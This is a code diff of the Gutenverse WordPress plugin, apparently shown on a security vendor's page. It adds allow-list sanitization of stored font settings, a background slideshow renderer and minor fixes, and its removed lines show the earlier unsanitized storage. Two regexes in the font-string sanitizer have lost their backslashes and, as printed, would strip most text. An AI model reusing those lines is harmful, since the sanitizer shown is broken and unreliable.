+ * Allowed size units.
+ *
+ * @var string[]
+ */
+ private $allowed_dimension_units = array(
+ 'px',
+ 'em',
+ 'rem',
+ '%',
+ 'vw',
+ 'vh',
+ );
+
+ /**
* Global variable option.
*
* @var string
@@ -61,23 +145,27 @@
* @param array $options Options.
*/
public function set_global_variable( $options ) {
+ $options = is_array( $options ) ? $options : array();
+
// clear old variable option.
update_option( 'gutenverse-global-variable', array(), true );
// save values to new variable options.
if ( isset( $options['googlefont'] ) ) {
+ $google_fonts = $this->sanitize_google_fonts( $options['googlefont'] );
if ( false !== get_option( $this->google_option ) ) {
- update_option( $this->google_option, $options['googlefont'], true );
+ update_option( $this->google_option, $google_fonts, true );
} else {
- add_option( $this->google_option, $options['googlefont'] );
+ add_option( $this->google_option, $google_fonts );
}
}
if ( isset( $options['fonts'] ) ) {
+ $fonts = $this->sanitize_global_fonts( $options['fonts'] );
if ( false !== get_option( $this->font_option ) ) {
- update_option( $this->font_option, $options['fonts'], true );
+ update_option( $this->font_option, $fonts, true );
} else {
- add_option( $this->font_option, $options['fonts'] );
+ add_option( $this->font_option, $fonts );
}
}
@@ -94,16 +182,16 @@
* Google Fonts. Need to fetch font config from child if data is empty.
*/
public function get_google_fonts() {
- $google_fonts = get_option( $this->google_option, false );
+ $google_fonts = $this->sanitize_google_fonts( get_option( $this->google_option, false ) );
if ( ! $google_fonts ) {
$config = apply_filters( 'gutenverse_block_config', array() );
if ( isset( $config['globalVariable']['fonts'] ) ) {
$google_fonts = array();
$fonts_config = $config['globalVariable']['fonts'];
- $fonts_option = get_option( $this->font_option );
- $fonts = $fonts_config;
+ $fonts_option = $this->sanitize_global_fonts( get_option( $this->font_option ) );
+ $fonts = $this->sanitize_global_fonts( $fonts_config );
if ( $fonts_option ) {
- $fonts = array_merge( $fonts_config, $fonts_option );
+ $fonts = array_merge( $fonts, $fonts_option );
}
foreach ( $fonts as $font ) {
@@ -115,12 +203,12 @@
continue;
}
$google_fonts[] = array(
- 'label' => $font_data['label'],
- 'type' => $font_data['type'],
- 'value' => $font_data['value'],
- 'weight' => $weight,
- 'id' => $font['id'],
- 'weights' => array( $weight ),
+ 'label' => $this->sanitize_font_string( $font_data['label'] ),
+ 'type' => $this->sanitize_font_type( $font_data['type'] ),
+ 'value' => $this->sanitize_font_string( $font_data['value'] ),
+ 'weight' => $this->sanitize_font_choice( $weight, $this->allowed_font_weights ),
+ 'id' => $this->sanitize_font_slug( $font['id'] ),
+ 'weights' => array( $this->sanitize_font_choice( $weight, $this->allowed_font_weights ) ),
);
}
}
@@ -129,19 +217,19 @@
}
}
- return $google_fonts;
+ return $this->sanitize_google_fonts( $google_fonts );
}
/**
* Global Fonts. Need to fetch font config from child if data is empty.
*/
public function get_global_fonts() {
- $global_fonts = get_option( $this->font_option, false );
+ $global_fonts = $this->sanitize_global_fonts( get_option( $this->font_option, false ) );
if ( ! $global_fonts ) {
$config = apply_filters( 'gutenverse_block_config', array() );
if ( isset( $config['globalVariable']['fonts'] ) ) {
- $global_fonts = $config['globalVariable']['fonts'];
+ $global_fonts = $this->sanitize_global_fonts( $config['globalVariable']['fonts'] );
} else {
$global_fonts = array();
}
@@ -169,7 +257,7 @@
$inc_old_fonts = false;
if ( ! empty( $global_variable['fonts'] ) ) {
- $global_fonts = array_merge( $global_fonts, $global_variable['fonts'] );
+ $global_fonts = array_merge( $global_fonts, $this->sanitize_global_fonts( $global_variable['fonts'] ) );
$inc_old_fonts = true;
}
@@ -215,4 +303,312 @@
'old_fonts' => $inc_old_fonts,
);
}
+
+ /**
+ * Sanitize an array of global font items.
+ *
+ * @param mixed $fonts Font payload.
+ *
+ * @return array
+ */
+ private function sanitize_global_fonts( $fonts ) {
+ if ( ! is_array( $fonts ) ) {
+ return array();
+ }
+
+ $sanitized_fonts = array();
+
+ foreach ( $fonts as $font ) {
+ if ( ! is_array( $font ) ) {
+ continue;
+ }
+
+ $sanitized_font = array(
+ 'id' => isset( $font['id'] ) ? $this->sanitize_font_slug( $font['id'] ) : '',
+ 'name' => isset( $font['name'] ) ? $this->sanitize_font_string( $font['name'] ) : '',
+ 'font' => isset( $font['font'] ) && is_array( $font['font'] ) ? $this->sanitize_typography_settings( $font['font'] ) : array(),
+ );
+
+ if ( '' === $sanitized_font['id'] ) {
+ continue;
+ }
+
+ $sanitized_fonts[] = $sanitized_font;
+ }
+
+ return $sanitized_fonts;
+ }
+
+ /**
+ * Sanitize cached google font data.
+ *
+ * @param mixed $fonts Google font payload.
+ *
+ * @return array
+ */
+ private function sanitize_google_fonts( $fonts ) {
+ if ( ! is_array( $fonts ) ) {
+ return array();
+ }
+
+ $sanitized_fonts = array();
+
+ foreach ( $fonts as $font ) {
+ if ( ! is_array( $font ) ) {
+ continue;
+ }
+
+ $font_reference = $this->sanitize_font_reference( $font );
+ if ( empty( $font_reference ) ) {
+ continue;
+ }
+
+ $font_reference['id'] = isset( $font['id'] ) ? $this->sanitize_font_slug( $font['id'] ) : '';
+ $font_reference['weight'] = isset( $font['weight'] ) ? $this->sanitize_font_choice( $font['weight'], $this->allowed_font_weights ) : '';
+ $font_reference['weights'] = array();
+
+ if ( isset( $font['weights'] ) && is_array( $font['weights'] ) ) {
+ foreach ( $font['weights'] as $weight ) {
+ $sanitized_weight = $this->sanitize_font_choice( $weight, $this->allowed_font_weights );
+ if ( '' !== $sanitized_weight ) {
+ $font_reference['weights'][] = $sanitized_weight;
+ }
+ }
+ }
+
+ $sanitized_fonts[] = $font_reference;
+ }
+
+ return $sanitized_fonts;
+ }
+
+ /**
+ * Sanitize a typography settings object.
+ *
+ * @param array $settings Typography settings.
+ *
+ * @return array
+ */
+ private function sanitize_typography_settings( $settings ) {
+ $sanitized = array();
+
+ if ( isset( $settings['font'] ) && is_array( $settings['font'] ) ) {
+ $font_reference = $this->sanitize_font_reference( $settings['font'] );
+ if ( ! empty( $font_reference ) ) {
+ $sanitized['font'] = $font_reference;
+ }
+ }
+
+ if ( isset( $settings['size'] ) && is_array( $settings['size'] ) ) {
+ $sanitized['size'] = $this->sanitize_responsive_dimension( $settings['size'], false );
+ }
+
+ if ( isset( $settings['weight'] ) ) {
+ $weight = $this->sanitize_font_choice( $settings['weight'], $this->allowed_font_weights );
+ if ( '' !== $weight ) {
+ $sanitized['weight'] = $weight;
+ }
+ }
+
+ if ( isset( $settings['transform'] ) ) {
+ $transform = $this->sanitize_font_choice( $settings['transform'], $this->allowed_font_transforms );
+ if ( '' !== $transform ) {
+ $sanitized['transform'] = $transform;
+ }
+ }
+
+ if ( isset( $settings['style'] ) ) {
+ $style = $this->sanitize_font_choice( $settings['style'], $this->allowed_font_styles );
+ if ( '' !== $style ) {
+ $sanitized['style'] = $style;
+ }
+ }
+
+ if ( isset( $settings['decoration'] ) ) {
+ $decoration = $this->sanitize_font_choice( $settings['decoration'], $this->allowed_font_decorations );
+ if ( '' !== $decoration ) {
+ $sanitized['decoration'] = $decoration;
+ }
+ }
+
+ if ( isset( $settings['lineHeight'] ) && is_array( $settings['lineHeight'] ) ) {
+ $sanitized['lineHeight'] = $this->sanitize_responsive_dimension( $settings['lineHeight'], false );
+ }
+
+ if ( isset( $settings['spacing'] ) && is_array( $settings['spacing'] ) ) {
+ $sanitized['spacing'] = $this->sanitize_responsive_spacing( $settings['spacing'] );
+ }
+
+ return $sanitized;
+ }
+
+ /**
+ * Sanitize a font reference object.
+ *
+ * @param array $font Font reference payload.
+ *
+ * @return array
+ */
+ private function sanitize_font_reference( $font ) {
+ $label = isset( $font['label'] ) ? $this->sanitize_font_string( $font['label'] ) : '';
+ $value = isset( $font['value'] ) ? $this->sanitize_font_string( $font['value'] ) : '';
+ $type = isset( $font['type'] ) ? $this->sanitize_font_type( $font['type'] ) : '';
+
+ if ( '' === $value || '' === $type ) {
+ return array();
+ }
+
+ return array(
+ 'label' => '' !== $label ? $label : $value,
+ 'value' => $value,
+ 'type' => $type,
+ );
+ }
+
+ /**
+ * Sanitize a font label/value string.
+ *
+ * @param mixed $value String value.
+ *
+ * @return string
+ */
+ private function sanitize_font_string( $value ) {
+ if ( ! is_scalar( $value ) ) {
+ return '';
+ }
+
+ $value = sanitize_text_field( (string) $value );
+ $value = preg_replace( '/[x00-x1Fx7F<>"';{}\\]/u', '', $value );
+ $value = preg_replace( '/[^p{L}p{N} _-.,&()]/u', '', $value );
+
+ return trim( $value );
+ }
+
+ /**
+ * Sanitize a font item slug.
+ *
+ * @param mixed $value Slug value.
+ *
+ * @return string
+ */
+ private function sanitize_font_slug( $value ) {
+ if ( ! is_scalar( $value ) ) {
+ return '';
+ }
+
+ return sanitize_title( (string) $value );
+ }
+
+ /**
+ * Sanitize a font type.
+ *
+ * @param mixed $value Type value.
+ *
+ * @return string
+ */
+ private function sanitize_font_type( $value ) {
+ $value = is_scalar( $value ) ? sanitize_key( (string) $value ) : '';
+
+ return in_array( $value, $this->allowed_font_types, true ) ? $value : '';
+ }
+
+ /**
+ * Sanitize a value against an allow-list.
+ *
+ * @param mixed $value Value to sanitize.
+ * @param string[] $allowed Allowed values.
+ *
+ * @return string
+ */
+ private function sanitize_font_choice( $value, $allowed ) {
+ $value = is_scalar( $value ) ? sanitize_key( (string) $value ) : '';
+
+ return in_array( $value, $allowed, true ) ? $value : '';
+ }
+
+ /**
+ * Sanitize a responsive point/unit object.
+ *
+ * @param array $value Responsive value.
+ * @param bool $allow_negative Whether negative numbers are allowed.
+ *
+ * @return array
+ */
+ private function sanitize_responsive_dimension( $value, $allow_negative ) {
+ $sanitized = array();
+ $devices = array( 'Desktop', 'Tablet', 'Mobile' );
+
+ foreach ( $devices as $device ) {
+ if ( ! isset( $value[ $device ] ) || ! is_array( $value[ $device ] ) ) {
+ continue;
+ }
+
+ $point = isset( $value[ $device ]['point'] ) ? $this->sanitize_numeric_value( $value[ $device ]['point'], $allow_negative ) : null;
+ $unit = isset( $value[ $device ]['unit'] ) ? sanitize_key( (string) $value[ $device ]['unit'] ) : '';
+
+ if ( null === $point || ! in_array( $unit, $this->allowed_dimension_units, true ) ) {
+ continue;
+ }
+
+ $sanitized[ $device ] = array(
+ 'point' => $point,
+ 'unit' => $unit,
+ );
+ }
+
+ return $sanitized;
+ }
+
+ /**
+ * Sanitize responsive spacing values.
+ *
+ * @param array $value Responsive spacing value.
+ *
+ * @return array
+ */
+ private function sanitize_responsive_spacing( $value ) {
+ $sanitized = array();
+ $devices = array( 'Desktop', 'Tablet', 'Mobile' );
+
+ foreach ( $devices as $device ) {
+ if ( ! isset( $value[ $device ] ) ) {
+ continue;
+ }
+
+ $spacing = $this->sanitize_numeric_value( $value[ $device ], true );
+ if ( null === $spacing ) {
+ continue;
+ }
+
+ $sanitized[ $device ] = $spacing;
+ }
+
+ return $sanitized;
+ }
+
+ /**
+ * Sanitize a numeric value used in typography settings.
+ *
+ * @param mixed $value Numeric value.
+ * @param bool $allow_negative Whether negative numbers are allowed.
+ *
+ * @return int|float|null
+ */
+ private function sanitize_numeric_value( $value, $allow_negative ) {
+ if ( is_string( $value ) ) {
+ $value = trim( $value );
+ }
+
+ if ( '' === $value || ! is_numeric( $value ) ) {
+ return null;
+ }
+
+ $numeric = 0 + $value;
+
+ if ( ! $allow_negative && $numeric < 0 ) {
+ return null;
+ }
+
+ return $numeric;
+ }
}
--- a/gutenverse/lib/framework/includes/class-hoc-frontend.php
+++ b/gutenverse/lib/framework/includes/class-hoc-frontend.php
@@ -19,10 +19,56 @@
* Constructor
*/
public function __construct() {
+ add_filter( 'gutenverse_background_slideshow', array( $this, 'background_slideshow_script' ), 10, 3 );
add_filter( 'gutenverse_video_background', array( $this, 'video_background_script' ), 10, 2 );
}
/**
+ * Background slideshow script.
+ *
+ * @param string $output Output HTML.
+ * @param array $attributes Block attributes.
+ * @param string $element_id Element ID.
+ * @return string
+ */
+ public function background_slideshow_script( $output, $attributes, $element_id ) {
+ $background = isset( $attributes['background'] ) ? $attributes['background'] : array();
+ $slide_images = isset( $background['slideImage'] ) ? $background['slideImage'] : array();
+
+ if ( empty( $slide_images ) || ! is_array( $slide_images ) ) {
+ return $output;
+ }
+
+ $output .= '<div class="bg-slideshow-container">';
+ $output .= '<div class="bg-slideshow-item">';
+
+ foreach ( $slide_images as $index => $image ) {
+ $image_url = '';
+ if ( isset( $image['image']['image'] ) && ! empty( $image['image']['image'] ) ) {
+ $image_url = $image['image']['image'];
+ }
+
+ $slide_class = $element_id . '-slideshow-image slideshow-image';
+ if ( 1 === $index ) {
+ $slide_class .= ' current';
+ } elseif ( 0 === $index ) {
+ $slide_class .= ' previous';
+ }
+
+ $style_attr = ! empty( $image_url ) ? ' style="background-image: url(' . esc_url( $image_url ) . ')"' : '';
+
+ $output .= '<div class="' . esc_attr( $element_id . '-child-slideshow slideshow-item-container item-' . $index ) . '">';
+ $output .= '<div class="' . esc_attr( $slide_class ) . '"' . $style_attr . '></div>';
+ $output .= '</div>';
+ }
+
+ $output .= '</div>';
+ $output .= '</div>';
+
+ return $output;
+ }
+
+ /**
* Video Background Script
*
* @param string $output Output HTML.
--- a/gutenverse/lib/framework/includes/class-init.php
+++ b/gutenverse/lib/framework/includes/class-init.php
@@ -180,6 +180,7 @@
add_filter( 'wp_handle_upload_prefilter', array( $this, 'verify_svg_upload' ), 10, 1 );
add_filter( 'wp_lazy_loading_enabled', array( $this, 'disable_wp_lazyload' ), 10, 1 );
add_filter( 'register_block_type_args', array( $this, 'inject_block_context' ), 10, 2 );
+ add_filter( 'wp_get_loading_optimization_attributes', array( $this, 'remove_fetchpriority_high' ), 10, 3 );
/**
* These functions used to be called inside init hook.
@@ -191,6 +192,27 @@
}
/**
+ * Remove wp image auto fetchpriority high
+ *
+ * @param array $loading_attrs Loading attributes.
+ * @param string $tag_name Tag name.
+ * @param array $attr Attributes.
+ *
+ * @return array
+ */
+ public function remove_fetchpriority_high( $loading_attrs, $tag_name, $attr ) {
+ // Only affect img tags
+ if ( 'img' !== $tag_name ) {
+ return $loading_attrs;
+ }
+ // Only if the fetchpriority not set and wordpress try to set it
+ if ( ! isset( $attr['fetchpriority'] ) && isset( $loading_attrs['fetchpriority'] ) ) {
+ unset( $loading_attrs['fetchpriority'] );
+ }
+ return $loading_attrs;
+ }
+
+ /**
* Inject context variables to Gutenverse blocks so they can read the
* correct context (e.g. postId, postType) when placed inside a Query Loop.
*
--- a/gutenverse/lib/framework/includes/class-style-interface.php
+++ b/gutenverse/lib/framework/includes/class-style-interface.php
@@ -542,6 +542,7 @@
* @return string
*/
public function handle_gradient( $props, $angle ) {
+ $colors = array();
foreach ( $props as $gradient ) {
$offset = $gradient['offset'] * 100;
$colors[] = "{$gradient['color']} {$offset}%";
@@ -2264,14 +2265,14 @@
);
}
} elseif ( 'slide' === $background['type'] ) {
- if ( isset( $background['videoImage'] ) ) {
+ if ( isset( $background['sliderFallbackImage'] ) ) {
$this->inject_style(
array(
'selector' => $selector,
'property' => function ( $value ) {
return "background-image: url({$value['image']}); background-size: cover; background-position: center;";
},
- 'value' => $background['videoImage'],
+ 'value' => $background['sliderFallbackImage'],
'device_control' => true,
)
);
@@ -2523,8 +2524,8 @@
/**
* Handle Border
*
- * @param array $name Value of Box Shadow.
- * @param array $selector Value of Box Shadow.
+ * @param string $name Value of Box Shadow.
+ * @param array $selector Value of Box Shadow.
*/
protected function handle_border( $name, $selector ) {
if ( isset( $this->attrs[ $name ] ) ) {
--- a/gutenverse/lib/framework/lib/dependencies/blocks.asset.php
+++ b/gutenverse/lib/framework/lib/dependencies/blocks.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives'), 'version' => '0f7aaf7238381dc05d55');
+<?php return array('dependencies' => array('react', 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives'), 'version' => '15941b28d5cd6fed5fcf');
--- a/gutenverse/lib/framework/lib/dependencies/core.asset.php
+++ b/gutenverse/lib/framework/lib/dependencies/core.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keycodes', 'wp-primitives', 'wp-rich-text', 'wp-url'), 'version' => '764484aa582be93d1d44');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keycodes', 'wp-primitives', 'wp-rich-text', 'wp-url'), 'version' => '269f74edd0711affda87');
Frequently Asked Questions
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






